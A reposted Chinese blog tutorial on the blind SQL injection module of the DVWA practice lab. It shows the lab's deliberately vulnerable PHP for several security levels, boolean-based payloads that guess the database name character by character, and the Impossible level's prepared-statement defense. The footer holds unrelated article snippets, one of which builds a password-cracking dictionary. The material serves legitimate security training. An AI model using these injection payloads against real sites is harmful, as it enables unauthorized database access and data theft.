DVWA靶场实战(八)——SQL Injection(Blind)

DVWA靶场实战(八)

八、SQL Injection(Blind):

1.漏洞原理:

  SQL Injection(Blind)全称为SQL注入之盲注,其实与正常的SQL大同小异,区别在于一般的注入攻击者可以直接从页面上获取执行结果,而盲注时攻击者通常是无法从显示页面上获取执行的结果,甚至可能连注入的语句是否执行都无从得知,所以盲注的难度会比一般注入高一些。目前网络上现存的SQL注入漏洞大多是SQL盲注。

2.漏洞分类:

(1)布尔盲注:顾名思义就是基于布尔运算特性的盲注,布尔盲注语句需要在涉及判断的功能才能使用,其中最常见的就是在查询条件的位置,分别拼接上一段结果为真和结果为假的判断语句,如果结果为真时显示效果与原来一致,结果为假时查询不到数据或与原来数据不一直,则认为存在布尔盲注。

(2)时间盲注:同样也就是基于时间运算特性的盲注,时间盲注主要是对没有涉及判断的功能,如插入、更新等语句的数据为止(而非条件语句的位置),或者布尔盲注没有结果的类型(如显示均为正常或均为异常),可以尝试使用延迟注入进行测试,如果插入时间型盲注语句后服务器延迟响应,则可以认为存在SQL注入漏洞。

3.漏洞危害:

(1)绕过登录验证:在登录页面使用万能密码登录网站后台页面。

(2)获取敏感数据:通过SQL注入获取网站管理员账号密码、用户信息等。

(3)文件系统操作:利用SQL注入实现列目录,读取或者写入文件等。

(4)注册表执行操作:利用SQL注入读取、写入、删除注册表等。

(5)执行系统命令:通过SQL注入可以远程执行命令。

4.实操:

(1)Low:

  代码分析:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0);
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        $html .= '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }

}

?>

 

  我们这里可以看到基本上没有任何过滤、检查,明显存在SQL注入漏洞,同时SQL语句查询返回结果只有两种,“exists”或者“missing”两种状态,所以这里是盲注。

  这里我们开始攻击,首先要判断出是数字型还是字符型。我们这里输入“1”和“1’”。在尝试后,我们可以看到这里明显是数字型,因为输入“1”它显示的是用户ID在库里面。

  然后我们接下来尝试“1’and1=1#”和“2’and1=2#”,发现“1’and1=1#”显示存在,“1’and1=2#”显示不存在,由此判断这里是有注入点的。 

  我们开始尝试注入,首先猜数据库的长度,利用“1' and length(database())=10 #”这种类似的语句进行长度的范围猜解。结果如下:

输入语句 结果

1'and length(database())>10#

MISSING

1'and length(database())<10#

exists

1'and length(database())<5#

exists

1'and length(database())<4#

MISSING

1'and length(database())=4#

exists

 

  这里的意思就是数据库名称的长度为4,所以我们接下来就可以开始猜测数据库的名称。

 

  接下来我们用ascii码来判断信息,大略的情况如下:

 

字符 ASCII(十进制)
a 97
A 65
0 48
_ 95
z 122
Z 90
9 57
@ 64

 

  然后分别输入如下语句;

输入语句 反馈结果 说明

1'and ascii(substr(database(),1,1))>97#

Exits

库名第一个字母ASCII码比a

1'and ascii(substr(database(),1,1))<122#

Exits

库名第一个字母ASCII码比z

1'and ascii(substr(database(),1,1))<104#

Exits

库名第一个字母ASCII码比h

1'and ascii(substr(database(),1,1))<101#

Exits

库名第一个字母ASCII码比f

1'and ascii(substr(database(),1,1))>100#

MISSING

库名第一个字母ASCII码不比d

1'and ascii(substr(database(),1,1))=100#

Exits

库名第一个字母是d

 

  以此类推推算出为库名为“dvwa”,同样的方法我们就可以依次推到得出答案。(答案同上一个SQL注入)

 

(2)Medium:

 

  代码分析:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            
            break;
        case SQLITE:
            global $sqlite_db_connection;
            
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }
            break;
    }

    if ($exists) {
        // Feedback for end user
        $html .= '<pre>User ID exists in the database.</pre>';
    } else {
        // Feedback for end user
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

 

 

  流程和上一个SQL差不多,不过多赘述了,基本上就是Low的步骤然后在BP中截包修改,然后放到repeater中发送。

 

(3)High:

 

  代码分析:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                // Get results
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        $html .= '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

 

  可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了LIMIT1,希望以此控制只输出一个结果。

  虽然添加了LIMIT1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里用上面两种方法任意一种即可进行爆破。这里就不再一一说明步骤了。

(4)Impossible:

  代码分析:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $exists = false;

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();

                $exists = $data->rowCount();
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 1) {
                        $row = $result->fetchArray();

                        $numrows = $row[ 'numrows' ];
                        $exists = ($numrows == 1);
                    }
                }
                break;
        }

    }

    // Get results
    if ($exists) {
        // Feedback for end user
        $html .= '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

 

  作为防御模板,有以下几个需要注意的。impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过。

 

 

 

 

 

 

 

本文转载于网络 如有侵权请联系删除

相关文章

  • 主用户为子用户添加流计算 Oceanus 授权策略指南

    流计算Oceanus的云API已经启用CAM服务级鉴权。默认情况下,所有主账号(也成为主用户)均有QcloudOceanusFullAccess策略,可以不用任何设置,正常使用流计算服务。但是,所有子账号(也称为子用户)没有没有此策略,默认无权调用Oceanus的云API,甚至无法访问流计算的界面,如下图(因为前端的操作也是通过调用云API来实现的)。无权限时的报错页面如果需要为子账号添加策略,可以访问https://console.cloud.tencent.com/cam/policy,所有主账号应该默认就有这个策略(如果没有看到,请确认当前登录用户是否是主账号):主账号看到的QcloudOceanusFullAccess预置策略如果希望子账号也可以访问流计算页面、调用云API,则需要登录主账号,点击图中的“关联用户/组”链接:主账号为子账号关联策略:步骤一然后在弹出的对话框内,对需要授权的用户进行选择,例如下图选择Kyle用户进行授权:主账号为子账号关联策略:步骤二点击“确定”按钮,此时,该子账户就可以正常使用流计算的各项服务、调用云API了。如果希望确认下是否操作成功,可以点击

  • CG005计算机图形学几何变换

    几何变换(geometrictransformation):应用于对象几何描述并改变它的位置方向或者大小的操作称之为几何变换,有时又称为几何变换。平移旋转缩放及基本的几何变换二维变换二维平移$$ \begin{gather}P= \begin{Bmatrix}x\y\end{Bmatrix}, P'=\begin{Bmatrix}x'\y'\end{Bmatrix}, T=\begin{Bmatrix}t_x\t_y\end{Bmatrix} \end{gather} $$矩阵表示的二维平移方程:P'=P+T二维旋转坐标采用极坐标方式更易于理解:$$ \begin{gather}P= \begin{Bmatrix}rsinφ\rcosφ\end{Bmatrix}, R=\begin{Bmatrix}cosθ&-sinθ\sinθ&cosθ\end{Bmatrix} \end{gather} $$ P‘=RP二维缩放二维缩放方程可以表达为: $$ \begin{gather} \begin{Bmatrix}x’\y‘\end{Bma

  • 余生只够写50行代码,这么写绝对赚翻了

    学Python最简单的方法是什么?推荐阅读:Python开发工程师成长魔法假如有一天死神来找你,警告你最多只能再写50行代码,然后就得随他而去,应该写点什么才能对得起自己?单身狗型看小姐姐,看很多很多小姐姐!作为一只单身狗,离世之前看不够小姐姐怎么行!啥都不说了,先上代码!文末有源码获取方式这段代码可以从知乎上把小姐姐们的照片下载下来,毕竟时日无多,一页一页去找肯定看不够了啊!贴一下这段代码的思路:1.评论是动态加载的直接找json接口 2.分析接口参数,我测试的时候一次最多能拿20条数据(不过我还是一条一条拿的) 3.循环发送请求,其实可以先把评论数抓下来再forrange我只是比较懒(。・ω・。) 4.有的评论没图片,简单try一下或者if处理小试牛刀的结果:剁手党作为一名剁手党,不看一下快递真的会死不瞑目的。代码如下:文末有源码获取方式查询结果是这样的: 暖男型身为一个暖男,怎么能忘记自己的家人!用一段程序,每天生成鸡汤句子抚慰家人的心灵吧!下面是代码:文末有源码获取方式只用一个random函数就能实现句子的自动生成,如果我们填充了足够的词汇,就可以在相当长的时间段里

  • Python生成强密码字典文件

    本文要点在于演示如何使用正则表达式验证密码强度,以及如何生成大量字符的排列。由于下面代码生成的字典过于庞大,所以并没有很直接的应用场景,可对生成的强密码再次进行过滤,仅保留可能性较大的密码,这样可以减小字典体积,但同时也会降低暴力破解的成功率。fromitertoolsimportpermutationsimportreimportstring#所有备选字符allLetters=string.ascii_letters+string.digits+',.;![]()@#$&*'#用来验证密码强度的正则表达式#如果字符串中同时包含英文字母大写、小写、数字、标点符号,则认为是强密码pattern=r'^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[,.;!\[\]\(\)@#$&*_]).{4,}$'defgenerateStrongPwd():withopen('dict.txt','w')asfp:forlengthinrange(4,9):#permutation

  • Linux下一键安装Python3&更改镜像源&虚拟环境管理技巧

    前言之前分享过一篇《Linux系统自带Python2&yum的卸载及重装》,介绍了如何卸载及重装Linux(CentOS)自带的的Python2.7。今天主要介绍如何在Linux系统下通过shell脚本一键安装Python3,以及如何临时or永久更换镜像源、管理虚拟环境。工欲善其事必先利其器,环境搭建是一切开发&自动化测试绕不开的前提。一、Linux安装Python3在介绍shell脚本一键安装Python前,先来了解一下手工搭建的过程,或许更有助于我们理解自动化搭建的过程及原理。1、手工安装方式1)安装依赖环境yum-yinstallzlib-develbzip2-developenssl-develncurses-develsqlite-develreadline-develtk-develgdbm-develdb4-devellibpcap-develxz-devel复制2)下载Python3yum-yinstallwget#没安装wget工具时运行此命令 wgethttps://www.python.org/ftp/python/3.7.5/Python-3.7

  • linux笔记

    马哥linux笔记 11_04网络配置ifg和ip系列命令 1.网络属于内核的功能。ip地址是属于内核的。虽然看起来像是配置在网卡上,但实际上是属于内核。无论数据是从哪个网卡进来,只要内核有这个地址,就可以响应 复制 04_10根文件系统 程序的编译方式: 动态链接:优点:节约内存资源 静态编译:优点:可移植性比动态链接强 库:不能独立执行,必须被调用才能执行 linux库:glibc 进程的类型按与终端是否有关可以分成两类: 与终端有关:用户通过终端启动的 与终端无关:开机自动启动的(由init程序启动的) FHS:FilesystemHierarchystandard(具体看linuxfoundation.org关于FHS的文档) /bin:所有用户可用的命令文件 /sbin:系统管理员使用的工具 /boot:bootloader必须用到的所有文件:kernel,initramfs,grub等 /dev:特殊文件(有可能是软件模拟出来的设备)或设备文件 设备有两种类型:字符设备(线性设备),块设备(随机设备) /etc:系统程序的配置文件 /home:存放普通用户的家目录

  • 日常记录(82)测试整理

    默认声明 以下的taa中,b被默认声明为wire类型,a被默认声明为wire类型。(verilog语法) c如果是input类型:Implicitwire'b'doesnothaveanydriver moduletaa(); taaxtaax_inst(.c(b)); assigna=b; endmodule moduletaax(c); outputc; //inputc;//thereisawarning. endmodule 复制 taa: vcs-full64-sverilog-Rtaa.sv taa1: vcs-full64-Rtaa.sv 复制 bins重复统计 以下的a1和a2,都统计了同一个数字1。100%的覆盖率。 moduletaa(); bit[3:0]a; covergrouptest1; coverpointa{ binsa1={4'h1}; binsa2={4'h1}; } endgroup:test1 initialbegin test1tt=new(); a=1; tt.sample(); $display("test"); end endmo

  • Deep Neural Networks for YouTube Recommendations YouTube的经典推荐框架

    https://zhuanlan.zhihu.com/p/52169807 王喆大佬的讲解

  • codeforces 852B - Neural Network country

    http://codeforces.com/contest/852/problem/B 题意:有一幅有向图,除了源点和汇点有L层,每层n个点。第i+1层的每个点到第i+2层的每个点都有一条边,边的权值为有向边终点的权值。求源点到汇点的路径长度能被m整除的个数。 题解:快速幂。a[i]表示从第1层到第a层总路径长度为i(i%m)的数目,b[j]表示从第a+1层到第a+1层(也就是自己层)总路径长度为j(j%m)的数目,那么第a+2层的a[(i+j)%m]=a[i]*b[j]。    暴力做法,从第一层开始,一层一层的乘上去,这样显然会超时。    仔细看一下,从第2层到第L-1层,每次乘的操作是相同的,可以用快速幂先把第2层到第L-1层乘起来。 #include<iostream> #include<cstring> #include<algorithm> #include<cstdio> #definemod1000000007 usingnamespacestd; constintMAXN=100000+10; inta[100001

  • Java [Leetcode 383]Ransom Note

    题目描述: Given
an
arbitrary
ransom
note
string
and
another
string
containing
lettersfrom
all
the
magazines,
write
a
function
that
will
return
true
if
the
ransom
note
can
be
constructed
from
the
magazines;
otherwise,
it
will
return
false.

 Each
letter
in
the
magazine
string
can
only
be
used
once
in
your
ransom
note. Note:Youmayassumethatbothstringscontainonlylowercaseletters. canConstruct("a","b")->false canConstruct("aa","ab")->false canConstruct("aa","aab")->true复制 解题思路: 开26个数组存入magzine字

  • 扯一会

    德是为人之本,当遇到事情无法做出抉择时需要从德的角度出发一般不会出现错误或则大的错误,在与人相处时品德也很重要,什么是品德呢?德就是人品,怎么看出一个人的品性呢?就从日常待人待事即可,怎么看出待人待事呢,一要有敬畏之心二是感恩之心三既冷静与否, 什么是敬畏呢 《中庸注》中说:君子之心,常存敬畏 ,人活着不能随心所欲,而要心有所惧,怀有这种心理,它能让人懂得自警与自省,它还有助于人规范与约束自己的言行举止,它还具有促进人与人和谐,存敬畏,并不是叫人不敢想,不敢说,不敢做,而是叫人想之有道,说之在理,做之合法。也即是说,该想的想,该说的说,该做的做。这样,心存敬畏,才更有意义,随心所欲则会得不到他人的理解久而久之造成心理缺陷。 感恩是人性善的反映;感恩,是一种品德,是一种生活态度,是一种健康的心态,是一种做人的境界,学会感恩,就是要学会懂得尊重他人,学会感恩做一个乐于奉献的人就是让你知道如何享受快乐生活反之则会路越来越小造成心理缺陷。 冷静的人是素质的体现是一种阅历,反之事情则会越来越糟糕造成心理缺陷。 所以走势是:性格>心理>品性>外貌。 

  • 篇章一:[AngularJS] 使用AngularAMD動態載入Controller

    前言 使用AngularJS來開發SinglePageApplication(SPA)的時候,可以選用AngularUIRouter來提供頁面內容切換的功能。但是在UIRouter的使用情景裡,需要開發人員將每個State所使用的Controller預先載入之後,才能正常的切換頁面內容。這也就代表開發人員所建立的SPA,必須要在啟動的當下,就先將整個SPA所用到的Controller都預先載入到瀏覽器之中。而這樣的預先載入所有Controller備用的動作,在大型的專案中很容易造成瀏覽器效能上的負擔,進而影響使用者的操作體驗。 本篇文章介紹如何使用AngularAMD來動態載入Controller,讓SPA的啟動過程更加輕量化,用以提升使用者的操作體驗。主要為自己留個紀錄,也希望能幫助到有需要的開發人員。 AngularAMD 安裝 AngularAMD使用bower來發佈套件本體與其相依套件。而要使用bower必須要先安裝Node.js、接著安裝npm、最後安裝bower,完成安裝步驟之後,開發人員就可以使用bower來下載套件。相關bower的安裝步驟,可以參考下列資料:

  • 【博弈论】 海盗分金问题

    HDU1538APuzzleforPirates 这是一个经典问题,有n个海盗,分m块金子,其中他们会按一定的顺序提出自己的分配方案,如果50%或以上的人赞成,则方案通过,开始分金子,如果不通过,则把提出方案的扔到海里,下一个人继续。现在给出n,问第k个海盗(第n个海盗先提方案,第1个最后提方案)可以分到多少金子,还是会被扔到海里去。 首先我们讲一下海盗分金决策的三个标准:保命,拿更多的金子,杀人,优先级是递减的。 同时分为两个状态稳定状态和不稳定状态:如果当n和m的组合使得最先决策的人(编号为n)不会被丢下海,即游戏会立即结束,就称这个状态时"稳定的".反之,问题会退化为n-1和m的组合,直到达到一个稳定状态,所以称这种状态为"不稳定的". 接下来我们从简单的开始分析: 如果只有两个人的话:那么2号开始提出方案,这时候知道不管提什么,他自己肯定赞成,大于等于半数,方案通过,那么2号肯定把所有的金子都给了自己。 如果只有三个人的话:那么3号知道,如果自己死了,那么2号肯定能把所有金子拿下,对于1号来说没有半点好处。那么他就拿出金子贿赂1号,1号拿到1个金子,总比没有好,肯定赞成3号,剩

  • Harbor私有仓库搭建

    1、安装docker yuminstall-ydockersystemctlstartdockersystemctlenabledocker复制  2、安装docker-compose 1、下载安装:wgethttps://github.com/docker/compose/releases/download/1.16.0/docker-compose-Linux-x86_64cpdocker-compose-Linux-x86_64/usr/local/bin/docker-composechmod+x/usr/local/bin/docker-compose2、验证:docker-compose-versio复制  3、安装Harbor: 1、下载安装: wgethttps://github.com/vmware/harbor/releases/download/v1.1.2/harbor-online-installer-v1.1.2.tgz tarxvfharbor-online-installer-v1.1.2.tgz&&cdha

  • MySQL隔离级别的实现

    虽然平时已经很少使用MySQL了,但是数据库作为基本技能仍然不能忘,最近在学习数据库隔离级别,在此写下个人理解以备复习。 大家都知道数据库事务ACID(原子性、一致性、隔离性和持久性)的四个特征,也知道数据库存在三种并发问题(脏读、不可重复读、幻读),以及针对性的四种隔离级别(读未提交、读已提交、可重复读、序列化)。 解决与否 脏读 不可重复读 幻读 读未提交 Yes Yes Yes 读已提交 No Yes Yes 可重复读 No No Yes 串行化 No No No             特别提醒一句,隔离级别作用在连接(或会话)级别。客户端每次连接数据库的时候,都要根据自己对一致性的需求程度合理设置自己的事务隔离级别。 那么问题来了,MySQL底层(下文均指InnoDB引擎)是采用何种技术来实现这四种隔离级别的呢? 读未提交 MySQL全表的数据存储在以主键为排序值的B+树索引中,叶子节点存储了相应主键的整行记录。需要指出的是,叶子节点的数据都是最新的数据,可能是事务提交后的一致状态,也可能

  • [DFNews] Fire-Eye与Fox IT联合推出Cryptolocker解锁网站

    Cryptolocker是臭名昭著的勒索程序,使用AES加密后密钥回传,用户除了缴纳赎金之外基本无法解密数据。 近日,知名安全公司Fire-Eye与FoxIT联合推出了针对该勒索程序的解锁网站 https://www.decryptcryptolocker.com/  ©

  • Asp.Net MVC +EF CodeFirst+多层程序设计

    1.概述 这是一个基于个人博客的一个项目,虽然博客根本没必要做这么复杂的设计。但是公司有需求,所以先自己弄个项目练练手。项目需要满足下列需求 1.层与层之间需要解耦,在后期上线更新维护时不需要覆盖,只需要更新局部dll即可,也就是插件机制 2.代码安全性,公司有找外包公司要些人,但是又不想让他们得到所有代码,就需要利用接口来规范开发。 3.一开始没有完整的需求说明和数据库设计文档。我们是轻文档开发,也就是说在没有完全上线之前需求随时可能更改,而且数据库一开始也没有设计好,而是开发一点添加一点,也随时会更换需求。 为了保证以上要点,我们就需要搭建一个非常具有灵活性的系统,对一个刚刚开始参加.net开发工作的我来说却是具有很大挑战性,虽然之前也有受过高人指点。 2.程序设计 在程序设计时,我考虑到以上需求,我大致分了一下这些层。 1.实体模型层:CodeFirst实体对象   2.数据访问层:DBContext对象,其实在我接触EF之后就对数据访问层的概念就不太一样了,我现在都觉得数据访问层都没什么太大必要。因为不需要写Sql语句了,都是lambda表达式。这是我一个疑问,

  • LocalStorage存储JSON对象、存储数组

    1、存储普通数组:举例:(也可用下面第三条的方法)   vararr=[1,2,3];   localStorage.setItem("temp",arr);   console.log(typeoflocalStorage.getItem("temp"));//string   console.log(localStorage.getItem("temp"));//返回字符串'1,2,3' 上面例子中localStorage.setItem()将数组自动转成了字符串形式;但它不会将JSON对象转成字符串。举例:   varobj={"a":1,"b":2};   localStorage.setItem("temp2",obj);   console.log(typeoflocalStorage.getItem("temp2"));//也会返回String   console.log(localStorage.getItem("temp2"

  • 支持向量机SVM

    1基本概念 支持向量机核心在于寻找分隔超平面,写为$\mathtt{w}^T\mathtt{x}+b$,任意一点到超平面的距离为$\frac{|\mathtt{w}^T\mathtt{A}+b|}{||\mathtt{w}||}$。 以平台上的直线为例,直线$Ax+By+C=0$,点$(x_0,y_0)$到直线的距离为$\frac{|Ax_0+By_0+C|}{\sqrt{A^2+B^2}}$ttt$ \frac {|Ax_0+By_0+C|}{\sqrt{A^2+B^2}} $。 为寻找最优超平面,设计函数$f(\mathtt{w}^T\mathtt{x}+b)$,其中当$\mu\lt0$时$f(\mu)$为-1,反之为+1,这样的好处是,可以算所有点到超平面距离之和,间距为$label*(\mathtt{w}^T\mathtt{x}+b)$,现在的目标就是找到最优的w和b,使得所有点到超平面的距离是最小的,即$$\arg\max_{w,b}\{\min_n(label\cdot(\mathtt{w}^Tx+b))\cdot\frac{1}{\lVert

  • ACL权限设置(转载)

    一、为什么要使用ACL先让我们来简单地复习一下Linux的文件权限。在linux下,对一个文件(或者资源)可以进行操作的对象被分为三类:fileowner(文件的拥有者),group(组,注意不一定是文件拥有者所在的组),other(其他)而对于每一类别又分别定义了read,writeandexecute/search权限(这里不讨论SUID,SGID以及Stickybit的设置)通过ls-l命令就我们就可以列出一个文件的权限代码:[leonard@localhost~]$ls-l-rw-rw----1leonardadmin0Jul320:12test.txt在这里说明了对于test.txt这个文件leonard用户(由于是fileowner)拥有read&write权限.所有属于admin组的用户(group)拥有read&write权限.其他任何用户(other)对于文件没有任何的权限如果我们现在希望john这个用户也可以对test.txt文件进行读写操作.我自己大概会想到以下几种办法(这里假设john不属于admingroup)1.给文件的other类别增加读和

  • Cause: com.microsoft.sqlserver.jdbc.SQLServerException: 不支持“variant”数据类型。

    mybatis执行sqlserver的sql报错 com.microsoft.sqlserver.jdbc.SQLServerException:不支持“variant”数据类型。 atcom.microsoft.sqlserver.jdbc.SQLServerException.makeFromDriverError(SQLServerException.java:190)~[sqljdbc4-4.0.jar:na] atcom.microsoft.sqlserver.jdbc.TypeInfo$Builder$16.apply(dtv.java:1996)~[sqljdbc4-4.0.jar:na] atcom.microsoft.sqlserver.jdbc.TypeInfo$Builder.build(dtv.java:2158)~[sqljdbc4-4.0.jar:na] atcom.microsoft.sqlserver.jdbc.TypeInfo.getInstance(dtv.java:2221)~[sqljdbc4-4.0.jar:na] atcom.microso

相关推荐

推荐阅读